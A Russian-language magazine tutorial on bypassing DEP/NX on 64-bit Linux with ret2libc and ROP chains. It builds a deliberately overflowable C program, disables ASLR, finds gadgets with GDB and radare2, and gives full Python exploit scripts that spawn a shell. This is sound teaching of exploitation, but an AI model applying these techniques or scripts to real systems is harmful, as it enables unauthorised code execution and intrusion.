В прошлой статье мы с тобой начали погружаться в мир шелл-кодинга для 64-битных *nix-систем. Пора развить эту тенденцию, ведь это журнал «Хакер»! Сегодня мы напишем эксплоит для обхода технологии DEP. Для этого рассмотрим две техники: ret2libc и ROP-цепочки.

 

Инструментарий

Сегодня нам понадобятся:

  1. Python Exploit Development Assistence for GDP.
  2. Radare2.
  3. GDB.

Для демонстрации уязвимости напишем простую программу на C:

#include <stdio.h>
int main(int argc, char \*argv[]) {
  char buf[256];
  read(0, buf, 400);
}

Компилируем ее:

gcc -fno-stack-protector rop.c -o rop

Так как обход ASLR — тема отдельной статьи, то временно отключаем его командой

# echo 0 > /proc/sys/kernel/randomize_va_space

Чтобы проверить, действительно ли ASLR отключен, введем команду ldd <путь_к_исполняемому_файлу>. Должны получить что-то вроде

linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)

Если еще раз ввести команду, то адреса останутся такими же (указаны в скобках).

 

Коротко о DEP

В прошлой статье мы намеренно отключили DEP, чтобы можно было запустить наш шелл-код. Сегодня мы так делать не будем, а вместо этого попробуем его обойти.

DEP работает следующим образом: память, которая не должна исполняться (например, стек), помечается специальным битом NX. Если ты попробуешь запустить код из памяти с установленным битом NX, то вызовется исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX и существуют крутые техники, такие как return-oriented programming (кстати, почитай на досуге кое-что из нашего старенького: тыц и дыц. — Прим. ред.) и ret2libc. Более подробно о них расскажу чуть ниже.

 

Твой первый ROP или ret2libc

В классическом 32-битном случае ret2libc требует создания фейкового стека со всеми необходимыми параметрами для вызова функции из libc. Например, можно вызвать функцию system() и передать ей строку /bin/sh.

Как ты помнишь из предыдущей статьи, в 64-битной системе первые шесть параметров передаются через регистры rdi, rsi, rdx, rcx, r8 и r9. Все остальные параметры передаются через стек. Таким образом, для того чтобы вызвать функцию из libc, нам сначала необходимо присвоить регистрам нужные значения. Для этого мы и будем использовать ROP.

ROP (return-oriented programming) — это технология, которая позволяет обходить NX-бит. Идея ROP-цепочек довольно проста. Вместо того чтобы записывать и исполнять код на стеке, мы будем использовать так называемые гаджеты.

Гаджет — это короткая последовательность команд, которые заканчиваются инструкцией ret. Комбинируя такие команды, мы можем добиться исполнения кода.

При помощи гаджетов мы можем:

  • записывать константу в регистр, например pop rax; ret;;
  • брать значение из памяти и записывать в регистр, например mov [rax], rcx; ret;;
  • копировать значение в память, например mov rbx, [rcx]; ret;;
  • выполнять различные арифметические операции, например xor rax, rax; ret;;
  • делать syscall.

Наш эксплоит будет сравнительно простым. Он будет вызывать system('/bin/sh'). Для этого нам необходимо узнать:

  • адрес функции system(). Мы отключили ASLR, таким образом, он не будет меняться при перезапуске;
  • адрес строки /bin/sh в памяти (или, другими словами, указатель на строку);
  • адрес ROP-гаджета, который скопирует адрес строки /bin/sh в регистр rdi (через него передается первый параметр функции);
  • номер байта, после записи которого начинает перезаписываться регистр rip.

Для того чтобы найти адрес функции system(), воспользуемся отладчиком GDB — введем gdb rop. Затем запустим нашу программу:

gdb-peda$ start

Получим адрес функции system():

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>

Получим указатель на строку /bin/sh:

gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')

Записываем полученные адреса на листочек или в блокнот (у тебя они могут отличаться). Теперь нам нужен гаджет, который скопирует значение 0x7ffff7b9d359 в регистр rdi. Для этого воспользуемся radare2. Запускаем r2 rop и затем ищем нужный гаджет:

[0x00400400]> /R pop rdi
    0x004005a3                 5f  pop rdi
    0x004005a4                 c3  ret

Этот гаджет нам подходит. Он возьмет значение из стека и запишет его в регистр rdi. Сохрани его адрес.

Осталось узнать, сколько надо записать «мусора» перед нашим эксплоитом, чтобы управление передалось по правильному адресу. Для этого создадим паттерн длиной 400 символов и запишем его в файл pattern.txt:

gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"

Теперь запустим в GDB нашу уязвимую программу и подадим ей на вход полученный паттерн:

gdb-peda$ r < pattern.txt

Мы получим ошибку «Program received signal SIGSEGV, Segmentation fault». Нам необходимо посмотреть значение, на которое указывает регистр RSP. В моем случае это выглядит как:

RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177")

Регистр rip указывает на команду ret;, то есть дальше процессор возьмет адрес со стека и передаст на него управление. Именно этот адрес нам надо заменить на адрес нашего гаджета.

Возьмем первые 6 байт (например), в моем случае это HA%dA%. Затем определим, по какому смещению находятся эти байты в нашем паттерне:

gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264

Таким образом, получили, что нам нужно сначала перезаписать 264 байта, чтобы добраться до rip.

 

А вот и эксплоит!

Теперь у тебя есть все, чтобы написать свой первый эксплоит:

from struct import *
buf = ''
buf += 'A'*264                              # мусор
buf += pack('<Q', 0x004005a3)               # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359)           # указатель на '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0)           # system()
f = open("exploit.txt", "w")
f.write(buf)
f.close

Данный код делает следующее:

  1. Создает буфер и записывает туда 264 буквы А.
  2. Записывает адрес гаджета pop rdi; ret;.
  3. Записывает адрес строки /bin/sh, который является аргументом для функции system().
  4. Записывает адрес функции system().

Теперь разберемся, что происходит со стеком во время работы. Сначала мы попадаем на наш гаджет (потому что мы перезаписали адрес возврата). Затем первая команда гаджета (pop rdi) берет со стека значение указателя на /bin/sh и записывает его в регистр rdi. После этого выполняется вторая команда гаджета — ret, которая берет следующее значение со стека (адрес функции system()) и «прыгает» на него. В конце всего этого выполняется функция system(), входное значение которой передано в регистре rip.

Теперь вызовем наш скрипт, который сгенерирует файл exploit.txt. Затем пробуем вызывать нашу программу и на вход ей подаем файл exploit.txt:

$ (cat exploit.txt; cat) | ./rop

После чего появится мигающий курсор оболочки sh. В данном случае мы использовали всего один гаджет, теперь попробуем разобраться, что делать, если их несколько.

 

Связываем цепочки

Вся сила ROP в том, что мы можем соединять гаджеты в цепочки или так называемые ROP chains. Для этого нам надо расположить на стеке адреса гаджетов в последовательном порядке. Так как каждый гаджет закачивается командой ret, он будет брать адрес следующего гаджета со стека и передавать на него управление.

Чтобы выполнить произвольный код и перейти к интерпретатору sh, воспользуемся алгоритмом из прошлой статьи — будем использовать функцию execve():

  1. Положим в rdi адрес строки '/bin/sh' (содержит путь до файла, который мы будем запускать).
  2. Обнулим rsi, чтобы не возиться с указателями на указатели (содержит указатель на массив строк argv).
  3. Обнулим регистр rdx, который содержит указатель envp.
  4. Запишем номер функции (0x3b) в регистр rax.
  5. Выполним syscall.

Осталось найти гаджеты, которые выполнят указанные действия.

Адрес гаджета pop rdi; ret; мы уже получили, когда писали эксплоит aka ret2libc.

Теперь ищем гаджет, который сможет записать значение в регистр rsi. Опять открываем radare2 и вводим:

[0x00400400]> /R pop rsi
    0x004005a1                 5e  pop rsi
    0x004005a2               415f  pop r15
    0x004005a4                 c3  ret

Отлично. Этот гаджет нам подходит. Ты, наверное, заметил, что он затрагивает также регистр r15. Это не проблема — мы просто положим туда случайное значение (неважно какое), которое запишется в регистр r15. В противном случае команда pop r15 возьмет адрес следующего гаджета и сломает наш эксплоит.

Некоторые гаджеты могут отсутствовать в нашем исполняемом файле, но мы можем использовать библиотеки, которые они подгружают. Чтобы посмотреть, какие библиотеки используются, делаем:

$ ldd rop
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)

И сразу запоминаем адрес загрузки библиотеки libc, он еще пригодится.

Открываем библиотеку в radare2:

r2 /usr/lib/libc.so.6

И затем ищем гаджет, с помощью которого мы сможем записать значение в регистр rax:

[0x000203b0]> /R pop rax
    0x0011ec71               8903  mov dword [rbx], eax
    0x0011ec73                 58  pop rax
    0x0011ec74                 5a  pop rdx
    0x0011ec75                 5b  pop rbx
    0x0011ec76                 c3  ret

Их будет много, но нам хватит и одного. Кроме того что этот гаджет может записать значение в регистр rax, он позволяет записать значение еще в два регистра. Нас интересует регистр rdx, который хранит адрес envp при вызове функции execve(). Как мы уже сказали, мы запишем в него null, с регистром rbx делаем то же самое, что и с r15 на предыдущем шаге, — кладем туда случайное значение, чтобы не сломать эксплоит.

Так как этот адрес есть, по сути, смещение гаджета в библиотеке libc, то для того, чтобы получить его реальный адрес, мы складываем адрес смещения гаджета и базовый адрес библиотеки:

>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'

И получаем 0x7ffff7b5ac73 — реальный адрес гаджета.
Теперь найдем гаджет, с помощью которого мы сможем вызвать syscall:

[0x000203b0]> /R syscall
    0x0010248e               0000  add byte [rax], al
    0x00102490             48633f  movsxd rdi, dword [rdi]
    0x00102493         b803000000  mov eax, 3
    0x00102498               0f05  syscall
    0x0010249a                 c3  ret

Прибавляем к адресу гаджета базовый адрес библиотеки libc и получаем 0x7ffff7b3e498 — адрес гаджета syscall.

Теперь осталось собрать все это и сформировать буфер для эксплоита. Он будет выглядеть так:

0x004005a3       указатель на гаджет `pop rdi; ret;`
0x7ffff7b9d359   указатель на строку '/bin/sh'
0x004005a1       указатель на гаджет `pop rsi; ret;`
0x0              null (значение `argv`)
0xffffdeadbeef   случайное значение (чтобы отработал `pop r15;`)
0x7ffff7b5ac73   указатель на гаджет `pop rax; ret`
0x3b             номер функции execve для syscall
0x0              null (значение `envp`)
0xffffffffabcd   случайное значение (чтобы отработал `pop rbx;`)
0x7ffff7b3e498   syscall

Пишем небольшой скрипт, который сформирует буфер и запишет его в файл:

from struct import *

buf = ''
buf += 'A'*264                              # junk

buf += pack('<Q', 0x004005a3)               # pop rdi
buf += pack('<Q', 0x7ffff7b9d359)           # p to /bin/sh

buf += pack('<Q', 0x004005a1)               # pop rsi
buf += pack('<Q', 0x0)                      # null argv
buf += pack('<Q', 0xffffdeadbeef)           # junk

buf += pack('<Q', 0x7ffff7b5ac73)           # pop rax
buf += pack('<Q', 0x3b)                     # execve number
buf += pack('<Q', 0x0)                      # null envp
buf += pack('<Q', 0xffffffffabcd)           # trash

buf += pack('<Q', 0x7ffff7b3e498)           # syscall

f = open("exploit.txt", "w")
f.write(buf)
f.close

Запускаем скрипт и получаем на выходе файл exploit.txt. Теперь подаем его на вход нашей программе:

(cat exploit.txt; cat) | ./rop

Теперь мы внутри sh. Если мы хотим получить полноценный шелл, можем сделать это при помощи python:

python -c 'import pty; pty.spawn("/bin/sh")'

После чего появится «красивый» шелл sh :).

 

To be continued...

Недавно Intel представила предварительную спецификацию новой технологии защиты от эксплоитов. Данная технология, которая называется Control-flow Enforcement Technology (CET), представляет модель защиты от эксплоитов, которые так или иначе используют ROP. Обо всех деталях уже давно написано в интернете. Но мы же с тобой понимаем, что мир ИБ — это противостояние меча и щита и на новые техники защиты обязательно появятся новые техники нападения, о которых мы непременно тебе расскажем на страницах журнала.

Оставить мнение